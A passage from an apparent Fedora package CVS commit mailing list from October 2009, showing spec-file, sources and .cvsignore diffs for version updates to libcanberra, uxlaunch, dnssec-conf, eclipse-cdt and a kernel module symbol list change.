+* Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.19-1
+- New version 0.19
+
 * Fri Sep 25 2009 Matthias Clasen <mclasen at redhat.com> - 0.18-2
 - Don't require vala in -devel (#523473)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	20 Sep 2009 18:07:11 -0000	1.19
+++ sources	14 Oct 2009 19:11:56 -0000	1.20
@@ -1 +1 @@
-395e83f7eac48b3ce8372a714026c85d  libcanberra-0.18.tar.gz
+4c7a718b8314d87737e4f91c2a06e1fc  libcanberra-0.19.tar.gz



From pbrobinson at fedoraproject.org  Wed Oct 14 19:12:12 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 14 Oct 2009 19:12:12 +0000 (UTC)
Subject: rpms/uxlaunch/devel .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 uxlaunch.spec, 1.1, 1.2
Message-ID: <20091014191212.9092F11C02A1@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/uxlaunch/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26368

Modified Files:
	.cvsignore sources uxlaunch.spec 
Log Message:
- New upstream 0.29 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	13 Oct 2009 16:47:37 -0000	1.2
+++ .cvsignore	14 Oct 2009 19:12:12 -0000	1.3
@@ -1 +1 @@
-uxlaunch-0.28.tar.bz2
+uxlaunch-0.29.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Oct 2009 16:47:37 -0000	1.2
+++ sources	14 Oct 2009 19:12:12 -0000	1.3
@@ -1 +1 @@
-99745cb7a831be90076ae3a9f1fbd310  uxlaunch-0.28.tar.bz2
+fade9e58222e860e1127ef855f6a208a  uxlaunch-0.29.tar.bz2


Index: uxlaunch.spec
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/devel/uxlaunch.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- uxlaunch.spec	13 Oct 2009 16:47:37 -0000	1.1
+++ uxlaunch.spec	14 Oct 2009 19:12:12 -0000	1.2
@@ -1,5 +1,5 @@
 Name:           uxlaunch
-Version:        0.28
+Version:        0.29
 Release:        1%{?dist}
 Summary:        A small and quick interface to start the Moblin Desktop
 
@@ -50,6 +50,9 @@ rm -rf %{buildroot}
 %doc %{_datadir}/man/man1/uxlaunch.1.gz
 
 %changelog
+* Wed Oct 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.29-1
+- New upstream 0.29 release
+
 * Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.28-1
 - New upstream 0.28 release, updates from review
 



From pjones at fedoraproject.org  Wed Oct 14 19:22:19 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Wed, 14 Oct 2009 19:22:19 +0000 (UTC)
Subject: rpms/kernel/devel kernel.spec,1.1826,1.1827
Message-ID: <20091014192219.2742111C00E5@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28680

Modified Files:
	kernel.spec 
Log Message:
* Wed Oct 14 2009 Peter Jones <pjones at redhat.com>
- Add scsi_register_device_handler to modules.block's symbol list so
  we'll have scsi device handlers in installer images.



Index: kernel.spec
===================================================================
RCS file: /cvs/extras/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1826
retrieving revision 1.1827
diff -u -p -r1.1826 -r1.1827
--- kernel.spec	13 Oct 2009 03:13:16 -0000	1.1826
+++ kernel.spec	14 Oct 2009 19:22:18 -0000	1.1827
@@ -1561,7 +1561,7 @@ hwcap 0 nosegneg"
     collect_modules_list networking \
     			 'register_netdev|ieee80211_register_hw|usbnet_probe'
     collect_modules_list block \
-    			 'ata_scsi_ioctl|scsi_add_host|blk_init_queue|register_mtd_blktrans|scsi_esp_register'
+    			 'ata_scsi_ioctl|scsi_add_host|blk_init_queue|register_mtd_blktrans|scsi_esp_register|scsi_register_device_handler'
     collect_modules_list drm \
     			 'drm_open|drm_init'
     collect_modules_list modesetting \
@@ -1969,6 +1969,10 @@ fi
 # ##############################################################
 
 %changelog
+* Wed Oct 14 2009 Peter Jones <pjones at redhat.com>
+- Add scsi_register_device_handler to modules.block's symbol list so
+  we'll have scsi device handlers in installer images.
+
 * Tue Oct 13 2009 Kyle McMartin <kyle at redhat.com>
 - Always build perf docs, regardless of whether we build kernel-doc.
   Seems rather unfair to not ship the manpages half the time.



From lennart at fedoraproject.org  Wed Oct 14 19:24:51 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Wed, 14 Oct 2009 19:24:51 +0000 (UTC)
Subject: rpms/libcanberra/F-12 libcanberra.spec,1.37,1.38
Message-ID: <20091014192451.50A4511C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libcanberra/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29844

Modified Files:
	libcanberra.spec 
Log Message:
New version 0.19


Index: libcanberra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/F-12/libcanberra.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- libcanberra.spec	25 Sep 2009 15:37:01 -0000	1.37
+++ libcanberra.spec	14 Oct 2009 19:24:51 -0000	1.38
@@ -1,6 +1,6 @@
 Name: libcanberra
-Version: 0.18
-Release: 2%{?dist}
+Version: 0.19
+Release: 1%{?dist}
 Summary: Portable Sound Event Library
 Group: System Environment/Libraries
 Source0: http://0pointer.de/lennart/projects/libcanberra/libcanberra-%{version}.tar.gz
@@ -127,6 +127,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/vala/vapi/libcanberra.vapi
 
 %changelog
+* Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.19-1
+- New version 0.19
+
 * Fri Sep 25 2009 Matthias Clasen <mclasen at redhat.com> - 0.18-2
 - Don't require vala in -devel (#523473)
 



From pjones at fedoraproject.org  Wed Oct 14 19:25:43 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Wed, 14 Oct 2009 19:25:43 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec,1.1867,1.1868
Message-ID: <20091014192543.D439811C00E5@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30035

Modified Files:
	kernel.spec 
Log Message:
* Wed Oct 14 2009 Peter Jones <pjones at redhat.com>
- Add scsi_register_device_handler to modules.block's symbol list so
  we'll have scsi device handlers in installer images.



Index: kernel.spec
===================================================================
RCS file: /cvs/extras/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1867
retrieving revision 1.1868
diff -u -p -r1.1867 -r1.1868
--- kernel.spec	13 Oct 2009 22:46:52 -0000	1.1867
+++ kernel.spec	14 Oct 2009 19:25:43 -0000	1.1868
@@ -1659,7 +1659,7 @@ hwcap 0 nosegneg"
     collect_modules_list networking \
     			 'register_netdev|ieee80211_register_hw|usbnet_probe'
     collect_modules_list block \
-    			 'ata_scsi_ioctl|scsi_add_host|blk_init_queue|register_mtd_blktrans|scsi_esp_register'
+    			 'ata_scsi_ioctl|scsi_add_host|blk_init_queue|register_mtd_blktrans|scsi_esp_register|scsi_register_device_handler'
     collect_modules_list drm \
     			 'drm_open|drm_init'
     collect_modules_list modesetting \
@@ -2061,6 +2061,10 @@ fi
 # and build.
 
 %changelog
+* Wed Oct 14 2009 Peter Jones <pjones at redhat.com>
+- Add scsi_register_device_handler to modules.block's symbol list so
+  we'll have scsi device handlers in installer images.
+
 * Tue Oct 13 2009 Steve Dickson <steved at redhat.com> 2.6.31.4-81
 - Fixed hang during NFS installs (bz 528537)
 



From lennart at fedoraproject.org  Wed Oct 14 19:25:44 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Wed, 14 Oct 2009 19:25:44 +0000 (UTC)
Subject: rpms/libcanberra/F-12 .cvsignore,1.17,1.18 sources,1.19,1.20
Message-ID: <20091014192544.8E71411C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libcanberra/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30049

Modified Files:
	.cvsignore sources 
Log Message:
New version 0.19


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/F-12/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	20 Sep 2009 18:07:11 -0000	1.17
+++ .cvsignore	14 Oct 2009 19:25:44 -0000	1.18
@@ -1 +1 @@
-libcanberra-0.18.tar.gz
+libcanberra-0.19.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/F-12/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	20 Sep 2009 18:07:11 -0000	1.19
+++ sources	14 Oct 2009 19:25:44 -0000	1.20
@@ -1 +1 @@
-395e83f7eac48b3ce8372a714026c85d  libcanberra-0.18.tar.gz
+4c7a718b8314d87737e4f91c2a06e1fc  libcanberra-0.19.tar.gz



From pbrobinson at fedoraproject.org  Wed Oct 14 19:32:16 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 14 Oct 2009 19:32:16 +0000 (UTC)
Subject: rpms/uxlaunch/F-12 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 uxlaunch.spec, 1.1, 1.2
Message-ID: <20091014193216.77A5011C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/uxlaunch/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv663

Modified Files:
	.cvsignore sources uxlaunch.spec 
Log Message:
- New upstream 0.29 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	13 Oct 2009 16:52:02 -0000	1.2
+++ .cvsignore	14 Oct 2009 19:32:16 -0000	1.3
@@ -1 +1 @@
-uxlaunch-0.28.tar.bz2
+uxlaunch-0.29.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Oct 2009 16:52:02 -0000	1.2
+++ sources	14 Oct 2009 19:32:16 -0000	1.3
@@ -1 +1 @@
-99745cb7a831be90076ae3a9f1fbd310  uxlaunch-0.28.tar.bz2
+fade9e58222e860e1127ef855f6a208a  uxlaunch-0.29.tar.bz2


Index: uxlaunch.spec
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/F-12/uxlaunch.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- uxlaunch.spec	13 Oct 2009 16:52:02 -0000	1.1
+++ uxlaunch.spec	14 Oct 2009 19:32:16 -0000	1.2
@@ -1,5 +1,5 @@
 Name:           uxlaunch
-Version:        0.28
+Version:        0.29
 Release:        1%{?dist}
 Summary:        A small and quick interface to start the Moblin Desktop
 
@@ -50,6 +50,9 @@ rm -rf %{buildroot}
 %doc %{_datadir}/man/man1/uxlaunch.1.gz
 
 %changelog
+* Wed Oct 14 2009 Peter Robinson <pbrobinson at gmail.com> 0.29-1
+- New upstream 0.29 release
+
 * Tue Oct 13 2009 Peter Robinson <pbrobinson at gmail.com> 0.28-1
 - New upstream 0.28 release, updates from review
 



From pwouters at fedoraproject.org  Wed Oct 14 19:33:56 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Wed, 14 Oct 2009 19:33:56 +0000 (UTC)
Subject: rpms/dnssec-conf/devel .cvsignore, 1.9, 1.10 dnssec-conf.spec, 1.17,
	1.18 sources, 1.10, 1.11
Message-ID: <20091014193356.A360511C00E5@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/dnssec-conf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1012

Modified Files:
	.cvsignore dnssec-conf.spec sources 
Log Message:
* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 1.22-1
- Updated to 1.22
- Removed seperate pr.key
- Added new Requires: for pyparsing
- This release addresses some of the bugs mentioned in
   https://bugzilla.redhat.com/show_bug.cgi?id=505754



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dnssec-conf/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	15 Jun 2009 00:07:50 -0000	1.9
+++ .cvsignore	14 Oct 2009 19:33:55 -0000	1.10
@@ -6,3 +6,4 @@ dnssec-conf-1.18.tar.gz
 dnssec-conf-1.19.tar.gz
 dnssec-conf-1.20.tar.gz
 dnssec-conf-1.21.tar.gz
+dnssec-conf-1.22.tar.gz


Index: dnssec-conf.spec
===================================================================
RCS file: /cvs/extras/rpms/dnssec-conf/devel/dnssec-conf.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- dnssec-conf.spec	8 Sep 2009 16:18:52 -0000	1.17
+++ dnssec-conf.spec	14 Oct 2009 19:33:56 -0000	1.18
@@ -1,16 +1,15 @@
 Summary: DNSSEC and DLV configuration and priming tool
 Name: dnssec-conf
-Version: 1.21
-Release: 5%{?dist}
+Version: 1.22
+Release: 1%{?dist}
 License: GPLv2+
 Url: http://www.xelerance.com/software/dnssec-conf/
 Source0: http://www.xelerance.com/software/%{name}/%{name}-%{version}.tar.gz
-Source1: pr.conf
 Group: System Environment/Daemons
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 Buildrequires: xmlto
-Requires: python-dns, curl
+Requires: python-dns, curl, pyparsing
 #Requires: a caching nameserver
 #Requires bind >= 9.4.0 if bind is reconfigured.....
 
@@ -35,9 +34,6 @@ rm -rf ${RPM_BUILD_ROOT}
 make PREFIX=%{_prefix} DESTDIR=${RPM_BUILD_ROOT} ETCDIR=${RPM_BUILD_ROOT}/etc install
 install -d 0755 ${RPM_BUILD_ROOT}/%{_sysconfdir}/sysconfig
 install -m 0644 packaging/fedora/dnssec.sysconfig ${RPM_BUILD_ROOT}/%{_sysconfdir}/sysconfig/dnssec
-# new key for pr. This will be in version 1.22 but that one has unreleased
-# parsing code.
-cp %{SOURCE1} ${RPM_BUILD_ROOT}/etc/pki/dnssec-keys/production/
 
 %clean
 rm -rf ${RPM_BUILD_ROOT}
@@ -58,6 +54,13 @@ rm -rf ${RPM_BUILD_ROOT}
 %{_mandir}/*/*
 
 %changelog
+* Wed Oct 14 2009 Paul Wouters <paul at xelerance.com> - 1.22-1
+- Updated to 1.22
+- Removed seperate pr.key
+- Added new Requires: for pyparsing
+- This release addresses some of bugs mentioned in
+   https://bugzilla.redhat.com/show_bug.cgi?id=505754
+
 * Tue Sep 08 2009 Paul Wouters <paul at xelerance.com> - 1.21-5
 - Bump version
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dnssec-conf/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	15 Jun 2009 00:07:50 -0000	1.10
+++ sources	14 Oct 2009 19:33:56 -0000	1.11
@@ -1 +1,2 @@
 e89f67ee5a5c3c163ee2880442ffb01f  dnssec-conf-1.21.tar.gz
+872baff51da0dea07c8561b0a3042273  dnssec-conf-1.22.tar.gz



From jjohnstn at fedoraproject.org  Wed Oct 14 19:34:07 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Wed, 14 Oct 2009 19:34:07 +0000 (UTC)
Subject: rpms/eclipse-cdt/F-12 eclipse-cdt.spec, 1.134, 1.135 fetch-cdt.sh,
	1.6, 1.7 sources, 1.56, 1.57
Message-ID: <20091014193407.C39A911C00E5@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1122

Modified Files:
	eclipse-cdt.spec fetch-cdt.sh sources 
Log Message:

* Wed Oct 14 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-2
- Ship new parsers sub-package which includes xlc, upc, and lrparser plug-ins.
- Require lpg-java-compat for build.




Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-12/eclipse-cdt.spec,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- eclipse-cdt.spec	9 Oct 2009 21:27:43 -0000	1.134
+++ eclipse-cdt.spec	14 Oct 2009 19:34:06 -0000	1.135
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        1%{?dist}
+Release:        2%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -106,6 +106,7 @@ BuildRequires: eclipse-pde
 BuildRequires: eclipse-mylyn >= 3.0
 BuildRequires: eclipse-rse >= 3.0
 BuildRequires:  java-devel >= 1.4.2
+BuildRequires: lpg-java-compat
 %if %{run_tests}
 BuildRequires:  vnc-server
 BuildRequires:  w3m
@@ -130,6 +131,15 @@ Requires:       eclipse-mylyn >= 3.0
 %description mylyn
 Mylyn integration for CDT.
 
+%package parsers
+Summary:        Eclipse C/C++ Development Tools (CDT) SDK plugin
+Group:          Text Editors/Integrated Development Environments (IDE)
+Requires:       %{name} = %{epoch}:%{version}-%{release}
+Requires:       lpg-java-compat
+
+%description parsers
+Optional language-variant parsers for the CDT.
+
 %package sdk
 Summary:        Eclipse C/C++ Development Tools (CDT) SDK plugin
 Group:          Text Editors/Integrated Development Environments (IDE)
@@ -155,10 +165,10 @@ Test suite for Eclipse C/C++ Development
 pushd "org.eclipse.cdt.releng"
 
 # Remove lpg-using lrparser feature
-sed -i "36,39d" results/features/org.eclipse.cdt.master/feature.xml
+#sed -i "36,39d" results/features/org.eclipse.cdt.master/feature.xml
 
 # Remove lrparser plugin
-rm -rf results/plugins/org.eclipse.cdt.core.lrparser
+#rm -rf results/plugins/org.eclipse.cdt.core.lrparser
 
 # Following patches a C file to remove reference to stropts.h which is
 # not needed and is missing in latest glibc
@@ -268,6 +278,8 @@ export PATH=%{java_bin}:/usr/bin:$PATH
 # See comments in the script to understand this.
 /bin/sh -x %{eclipse_base}/buildscripts/copy-platform SDK \
   %{eclipse_base} mylyn xmlrpc codec httpclient lang rse
+# CDT parsers expect to find lpgjavaruntime jar as net.sourceforge jar
+ln -s %{_javadir}/lpgjavaruntime-1.1.0.jar SDK/plugins/net.sourceforge.lpg.lpgjavaruntime_1.1.0.jar
 SDK=$(cd SDK >/dev/null && pwd)
 
 # Eclipse may try to write to the home directory.
@@ -377,9 +389,11 @@ LAUNCHER=%{eclipse_base}/plugins/$LAUNCH
 
 installDir=${RPM_BUILD_ROOT}/%{eclipse_base}/dropins/cdt
 mylynInstallDir=${installDir}-mylyn
+parsersInstallDir=${installDir}-parsers
 sdkInstallDir=${installDir}-sdk
 install -d -m755 $installDir
 install -d -m755 $mylynInstallDir
+install -d -m755 $parsersInstallDir
 install -d -m755 $sdkInstallDir
 
 unzip -q -o org.eclipse.cdt.releng/results/I.%{build_id}/cdt-master-%{version}-%{build_id}.zip \
@@ -410,6 +424,15 @@ mkdir -p $mylynInstallDir/eclipse/featur
 mv $installDir/eclipse/features/*mylyn* $mylynInstallDir/eclipse/features
 mv $installDir/eclipse/plugins/*mylyn* $mylynInstallDir/eclipse/plugins
 
+# Move upc, xlc, and lrparser plugins/features to parsers install area.
+mkdir -p $parsersInstallDir/eclipse/features $parsersInstallDir/eclipse/plugins
+mv $installDir/eclipse/features/*xlc* $parsersInstallDir/eclipse/features
+mv $installDir/eclipse/plugins/*xlc* $parsersInstallDir/eclipse/plugins
+mv $installDir/eclipse/features/*lrparser* $parsersInstallDir/eclipse/features
+mv $installDir/eclipse/plugins/*lrparser* $parsersInstallDir/eclipse/plugins
+mv $installDir/eclipse/features/*upc* $parsersInstallDir/eclipse/features
+mv $installDir/eclipse/plugins/*upc* $parsersInstallDir/eclipse/plugins
+
 mkdir -p $sdkInstallDir/eclipse/features $sdkInstallDir/eclipse/plugins
 mv $installDir/eclipse/features/*source* $sdkInstallDir/eclipse/features
 mv $installDir/eclipse/plugins/*source* $sdkInstallDir/eclipse/plugins
@@ -468,6 +491,27 @@ org.eclipse.equinox.p2.metadata.generato
 rm -rf repo
 popd
 
+# Generate p2 metadata for CDT Parsers
+pushd $parsersInstallDir/eclipse
+java -jar $LAUNCHER \
+-application \
+org.eclipse.equinox.p2.metadata.generator.EclipseGenerator \
+-metadataRepository file:`pwd`/repo \
+-artifactRepository file:`pwd`/repo \
+-source `pwd` \
+-root "CDT Parsers" \
+-rootVersion %{version} \
+-flavor tooling \
+-publishArtifacts \
+-append \
+-artifactRepositoryName "CDT Parsers" \
+-metadataRepositoryName "CDT Parsers" \
+-vmargs \
+-Duser.home=$homedir
+
+rm -rf repo
+popd
+
 # Generate p2 metadata for CDT SDK
 pushd $sdkInstallDir/eclipse
 java -jar $LAUNCHER \
@@ -547,6 +591,10 @@ rm -rf ${RPM_BUILD_ROOT}
 %defattr(-,root,root)
 %{eclipse_base}/dropins/cdt-mylyn
 
+%files parsers
+%defattr(-,root,root)
+%{eclipse_base}/dropins/cdt-parsers
+
 %if %{ship_tests}
 %files tests
 %defattr(-,root,root)
@@ -554,6 +602,10 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Wed Oct 14 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-2
+- Ship new parsers sub-package which includes xlc, upc, and lrparser plug-ins.
+- Require lpg-java-compat for build.
+
 * Fri Oct 09 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-1
 - Rebase CDT to 6.0.1.
 


Index: fetch-cdt.sh
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-12/fetch-cdt.sh,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- fetch-cdt.sh	18 Jun 2009 18:08:55 -0000	1.6
+++ fetch-cdt.sh	14 Oct 2009 19:34:06 -0000	1.7
@@ -1,6 +1,6 @@
 #!/bin/sh
 
-CDTTAG=CDT_6_0_0
+CDTTAG=CDT_6_0_1
 ECLIPSEBASE=$(rpm --eval %{_libdir})/eclipse
 
 mkdir -p temp && cd temp
@@ -37,27 +37,4 @@ java -cp /usr/lib/eclipse/startup.jar \
 
 find . -name net.*.jar -exec rm {} \;
 
-# Unfortunately for us, bringing in the master feature also drags in the c99 and upc features.  We must
-# remove them because they depend on the binary jar we just removed and build will note this, even if we
-# don't build those features.
-pushd results/features
-rm -rf *c99*
-rm -rf *upc*
-rm -rf *lrparser*
-rm -rf *xlc*
-popd
-pushd results/plugins
-rm -rf *c99*
-rm -rf *upc*
-rm -rf *lrparser*
-rm -rf *xlc*
-popd
-
-# Remove optional features: c99, upc, lrparser, and xlc from the master 
-# feature list.  We do not package them.
-pushd results/features/org.eclipse.cdt.master
-sed --in-place -e "64,71d" feature.xml
-sed --in-place -e "36,51d" feature.xml
-popd
-
 cd .. && tar jcf eclipse-cdt-fetched-src-$CDTTAG.tar.bz2 org.eclipse.cdt.releng


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-12/sources,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- sources	9 Oct 2009 21:27:43 -0000	1.56
+++ sources	14 Oct 2009 19:34:07 -0000	1.57
@@ -1,8 +1,7 @@
 5c470fb0777d27541edbfa31443d91f7  eclipse-cdt-cppunit-20061102.tar.gz
 2d4ae0a2131ba1efc896d981072cc091  eclipse-cdt-target_filter.gif.gz
-d0b0b38accc5547e6209fda23c6c8d49  eclipse-cdt-fetched-src-CDT_6_0_0.tar.bz2
 6cfdaee7d8ca1c14359225f7393e46ae  eclipse-cdt-fetched-src-autotools-v200907241319.tar.gz
 921f3464c4b5a284473ebdad634e5c2d  libstdc++-v3.libhover
 4bccad3ee92faaca4f8dc3ac6941434e  glibc-2.7-2.libhover
 2dbeff80a9c053b2888940a30f62d3f2  eclipse-cdt-fetched-src-libhover-R0_3_0.tar.gz
-b128891c69b669173abc21f5105e3a30  eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2
+62e2dcbf8fb1f1b23cc71ae762b873b8  eclipse-cdt-fetched-src-CDT_6_0_1.tar.bz2



From jjohnstn at fedoraproject.org  Wed Oct 14 19:35:32 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Wed, 14 Oct 2009 19:35:32 +0000 (UTC)
Subject: rpms/eclipse-cdt/devel eclipse-cdt.spec, 1.135, 1.136 fetch-cdt.sh, 
	1.7, 1.8 sources, 1.56, 1.57
Message-ID: <20091014193532.7AD6111C00E5@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2465

Modified Files:
	eclipse-cdt.spec fetch-cdt.sh sources 
Log Message:

* Wed Oct 14 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-2
- Ship new parsers sub-package which includes xlc, upc, and lrparser plug-ins.
- Require lpg-java-compat for build.




Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/devel/eclipse-cdt.spec,v
retrieving revision 1.135
retrieving revision 1.136
diff -u -p -r1.135 -r1.136
--- eclipse-cdt.spec	9 Oct 2009 20:45:34 -0000	1.135
+++ eclipse-cdt.spec	14 Oct 2009 19:35:30 -0000	1.136
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        1%{?dist}
+Release:        2%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -106,6 +106,7 @@ BuildRequires: eclipse-pde
 BuildRequires: eclipse-mylyn >= 3.0
 BuildRequires: eclipse-rse >= 3.0
 BuildRequires:  java-devel >= 1.4.2
+BuildRequires: lpg-java-compat
 %if %{run_tests}
 BuildRequires:  vnc-server
 BuildRequires:  w3m
@@ -130,6 +131,15 @@ Requires:       eclipse-mylyn >= 3.0
 %description mylyn
 Mylyn integration for CDT.
 
+%package parsers
+Summary:        Eclipse C/C++ Development Tools (CDT) SDK plugin
+Group:          Text Editors/Integrated Development Environments (IDE)
+Requires:       %{name} = %{epoch}:%{version}-%{release}
+Requires:       lpg-java-compat
+
+%description parsers
+Optional language-variant parsers for the CDT.
+
 %package sdk
 Summary:        Eclipse C/C++ Development Tools (CDT) SDK plugin
 Group:          Text Editors/Integrated Development Environments (IDE)
@@ -155,10 +165,10 @@ Test suite for Eclipse C/C++ Development
 pushd "org.eclipse.cdt.releng"
 
 # Remove lpg-using lrparser feature
-sed -i "36,39d" results/features/org.eclipse.cdt.master/feature.xml
+#sed -i "36,39d" results/features/org.eclipse.cdt.master/feature.xml
 
 # Remove lrparser plugin
-rm -rf results/plugins/org.eclipse.cdt.core.lrparser
+#rm -rf results/plugins/org.eclipse.cdt.core.lrparser
 
 # Following patches a C file to remove reference to stropts.h which is
 # not needed and is missing in latest glibc
@@ -268,6 +278,8 @@ export PATH=%{java_bin}:/usr/bin:$PATH
 # See comments in the script to understand this.
 /bin/sh -x %{eclipse_base}/buildscripts/copy-platform SDK \
   %{eclipse_base} mylyn xmlrpc codec httpclient lang rse
+# CDT parsers expect to find lpgjavaruntime jar as net.sourceforge jar
+ln -s %{_javadir}/lpgjavaruntime-1.1.0.jar SDK/plugins/net.sourceforge.lpg.lpgjavaruntime_1.1.0.jar
 SDK=$(cd SDK >/dev/null && pwd)
 
 # Eclipse may try to write to the home directory.
@@ -377,9 +389,11 @@ LAUNCHER=%{eclipse_base}/plugins/$LAUNCH
 
 installDir=${RPM_BUILD_ROOT}/%{eclipse_base}/dropins/cdt
 mylynInstallDir=${installDir}-mylyn
+parsersInstallDir=${installDir}-parsers
 sdkInstallDir=${installDir}-sdk
 install -d -m755 $installDir
 install -d -m755 $mylynInstallDir
+install -d -m755 $parsersInstallDir
 install -d -m755 $sdkInstallDir
 
 unzip -q -o org.eclipse.cdt.releng/results/I.%{build_id}/cdt-master-%{version}-%{build_id}.zip \
@@ -410,6 +424,15 @@ mkdir -p $mylynInstallDir/eclipse/featur
 mv $installDir/eclipse/features/*mylyn* $mylynInstallDir/eclipse/features
 mv $installDir/eclipse/plugins/*mylyn* $mylynInstallDir/eclipse/plugins
 
+# Move upc, xlc, and lrparser plugins/features to parsers install area.
+mkdir -p $parsersInstallDir/eclipse/features $parsersInstallDir/eclipse/plugins
+mv $installDir/eclipse/features/*xlc* $parsersInstallDir/eclipse/features
+mv $installDir/eclipse/plugins/*xlc* $parsersInstallDir/eclipse/plugins
+mv $installDir/eclipse/features/*lrparser* $parsersInstallDir/eclipse/features
